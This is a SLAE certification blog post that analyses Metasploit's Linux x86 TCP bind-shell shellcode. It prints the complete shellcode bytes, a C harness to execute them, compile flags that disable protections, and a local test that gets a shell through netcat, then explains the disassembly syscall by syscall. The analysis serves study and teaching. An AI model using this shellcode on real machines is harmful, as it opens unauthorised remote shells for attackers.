Shellcode No.1 - TCP Bind Shell
At first glance, we'll take payload linux/x86/shell_bind_tcp, very similar to the shellcode we wrote in the first SLAE exam task.
We generate shellcode using the msfvenom script, belonging to the Metasploit-framework, giving as arguments the payload we choose, LPORT, i.e. the port on which our bind_shell is to listen, as well as the language in which our shellcode will be used, in this case - C.
$ msfvenom -p linux/x86/shell_bind_tcp LPORT=1234 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 78 bytes
Final size of c file: 354 bytes
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
Next, we place the generated shellcode in the so-called C language wrapper, which will allow us to easily test its effectiveness. We create a shellcode.c file with the following content:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Then, we compile the program using GCC software, along with the appropriate parameters.
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
We run the program.
$ ./shellcode
Shellcode Length: 20
What we see in the answer is the length of the shellcode, which seems incorrect at first glance. This is because the shellcode generated by msfvenom does not by default prohibit the use of so-called null-byte ("\ x00"), which in our case is a terminator of a string, which we can confirm by searching for the string "00" (the first line containing 15 characters will be omitted, please add the characters of the next line, 15 + 5 = 20 characters)
$ cat shellcode.c | grep 00
"\x5b\x5e\x52\x68\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a"
Then, opening another terminal and executing the netstat -antp command, we notice that shellcode actually works and we can connect to the port of our choice, obtaining a shell.
$ netstat -antp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 24304/shellcode
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 1 0 172.16.237.201:32845 91.189.92.92:80 CLOSE_WAIT 2552/ubuntu-geoip-p
tcp6 0 0 ::1:631 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
$ nc localhost 1234
whoami
slae
For our analyzes, we will use ndisasm software. To do this, call our shellcode with the echo command and then use the pipe character to pass the output to the ndisasm software.
$ echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" | ndisasm -u -
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80
0000000F 5B pop ebx
00000010 5E pop esi
00000011 52 push edx
00000012 68020004D2 push dword 0xd2040002
00000017 6A10 push byte +0x10
00000019 51 push ecx
0000001A 50 push eax
0000001B 89E1 mov ecx,esp
0000001D 6A66 push byte +0x66
0000001F 58 pop eax
00000020 CD80 int 0x80
00000022 894104 mov [ecx+0x4],eax
00000025 B304 mov bl,0x4
00000027 B066 mov al,0x66
00000029 CD80 int 0x80
0000002B 43 inc ebx
0000002C B066 mov al,0x66
0000002E CD80 int 0x80
00000030 93 xchg eax,ebx
00000031 59 pop ecx
00000032 6A3F push byte +0x3f
00000034 58 pop eax
00000035 CD80 int 0x80
00000037 49 dec ecx
00000038 79F8 jns 0x32
0000003A 682F2F7368 push dword 0x68732f2f
0000003F 682F62696E push dword 0x6e69622f
00000044 89E3 mov ebx,esp
00000046 50 push eax
00000047 53 push ebx
00000048 89E1 mov ecx,esp
0000004A B00B mov al,0xb
0000004C CD80 int 0x80
The analysis of this shellcode will be divided into six parts, corresponding to the system calls called.
socket()
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80
At the beginning a socket is prepared, which will serve as the interface on which the bind shell will listen for the connection. For this purpose, socket() syscall is used, called from socketcall()) syscall, taking the following arguments as components:
- socket(AF_INET, SOCK_STREAM, IPPROTO_IP).
An interesting fact is that in the case of the whole shellcode, socket(), bind(), listen(), accept() and dup2() syscalls are called from the same, repeated socketcall() syscall.
- For this purpose, the EBX, EAX and EDX registers are first cleaned. Using the mul instruction reduces the shellcode length by 1.
00000000 31DB xor ebx,ebx 00000002 F7E3 mul ebx
Then, in the reverse order, the values of the above arguments are thrown onto the stack. In order:
- The value 0 is pushed on the stack (IPPROTO_IP = 0)
00000004 53 push ebx
- EBX is incremented so that you can use it both when calling socket() (sys_socket = 1), and by placing the second argument on the stack
00000005 43 inc ebx
- Value 1 is pushed on the stack (SOCK_STREAM = 1)
00000006 53 push ebx
- Value 2 is pushed on the stack (AF_INET = 2)
00000007 6A02 push byte +0x2
- Stack pointer (ESP) is directed to the arguments of the socket() system call
00000009 89E1 mov ecx,esp
- Socketcall() syscall is called, creating socket with our socket() syscall - sockfd
0000000B B066 mov al,0x66
- After syscall, the sockfd address will be stored in the EAX registry
0000000D CD80 int 0x80
bind()
0000000F 5B pop ebx
00000010 5E pop esi
00000011 52 push edx
00000012 68020004D2 push dword 0xd2040002
00000017 6A10 push byte +0x10
00000019 51 push ecx
0000001A 50 push eax
0000001B 89E1 mov ecx,esp
0000001D 6A66 push byte +0x66
0000001F 58 pop eax
00000020 CD80 int 0x80
Then, bind() syscall will be called with the same method.
- Popping value 2 into the ebx (sys_bind call)
0000000F 5B pop ebx
- ‘Top of the stack’ adjusting, equivalent to -> sub esp, 4
00000010 5E pop esi
- Pushing 0, which is the struct beginning (0, becouse of listening address, which is 0.0.0.0)
00000011 52 push edx
- Pushing d204 -> in reverse 04d2(hex) = 1234(dec) - our LPORT, and 0002(hex) = 2(dec) which is the third argument (it is like
push word 2
- AF_INET = 2)00000012 68020004D2 push dword 0xd2040002
- Pushing value 16, which is the socklen_t addrlen (size) = 16
00000017 6A10 push byte +0x10
- Pushing const struct sockaddr *addr - stack pointer with struct arguments
00000019 51 push ecx
- Pushing our sockfd pointer
0000001A 50 push eax
- Directing the stack pointer to bind() syscall arguments
0000001B 89E1 mov ecx,esp
- Pushing call to socketcall() syscall on top of the stack
0000001D 6A66 push byte +0x66
- Popping above value into EAX
0000001F 58 pop eax
- Syscall execution
00000020 CD80 int 0x80
listen()
00000022 894104 mov [ecx+0x4],eax
00000025 B304 mov bl,0x4
00000027 B066 mov al,0x66
00000029 CD80 int 0x80
The next system call called is listen().
- ECX points to the stack, so [ECX+4] will points to the next pushed value -> pushing EAX (sockfd address) on the stack
00000022 894104 mov [ecx+0x4],eax
- Moving 4 to EBX (listen() call)
00000025 B304 mov bl,0x4
- Moving call to socketcall() syscall on top of the stack
00000027 B066 mov al,0x66
- Syscall execution
00000029 CD80 int 0x80
accept()
0000002B 43 inc ebx
0000002C B066 mov al,0x66
0000002E CD80 int 0x80
The next system call called is accept(). Actions like before:
- Incrementing EBX (accept() call = 5)
0000002B 43 inc ebx
- Call to socketcall() syscall
0000002C B066 mov al,0x66
- Syscall execution (ECX already points to top of the stack (arguments))
0000002E CD80 int 0x80
dup2()
00000030 93 xchg eax,ebx
00000031 59 pop ecx
00000032 6A3F push byte +0x3f
00000034 58 pop eax
00000035 CD80 int 0x80
00000037 49 dec ecx
00000038 79F8 jns 0x32
Then three dup2() syscalls will be called. For this shellcode, a loop that is executed three times (STDIN = 0, STDOUT = 1, STDERR = 2) will be used for this.
- We exchange values of EAX and EBX registers
00000030 93 xchg eax,ebx
- Pop address from top of the stack to the ECX registry (it is a value of 3, as many as the loop should be repeated)
00000031 59 pop ecx
- Push the value 63 on the stack
00000032 6A3F push byte +0x3f
- Pop the value 63 to the EAX registry
00000034 58 pop eax
- Syscall execution
00000035 CD80 int 0x80
- ECX registry decrementation (3 –> 2)
00000037 49 dec ecx
- Loop operating dup2() system calls
00000038 79F8 jns 0x32
execve()
0000003A 682F2F7368 push dword 0x68732f2f
0000003F 682F62696E push dword 0x6e69622f
00000044 89E3 mov ebx,esp
00000046 50 push eax
00000047 53 push ebx
00000048 89E1 mov ecx,esp
0000004A B00B mov al,0xb
0000004C CD80 int 0x80
The last syscall will be execve(), which will run /bin/sh after connecting to the listening port
- Pushing value “//sh” on the stack (reverse order)
0000003A 682F2F7368 push dword 0x68732f2f
- Pushing value “/bin” on the stack (reverse order)
0000003F 682F62696E push dword 0x6e69622f
- We transfer the top of the stack address to the EBX registry
00000044 89E3 mov ebx,esp
- String terminator (null)
00000046 50 push eax
- Pushing previous stack pointer
00000047 53 push ebx
- Setting new stack pointer pointing our arguments
00000048 89E1 mov ecx,esp
- Moving 11 (value of execve() syscall) to EAX
0000004A B00B mov al,0xb
- Syscall execution
0000004C CD80 int 0x80
That's all! The port is opened, and after connecting to it we get the /bin/sh shell.
Pwned.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3
Student ID: SLAE-1524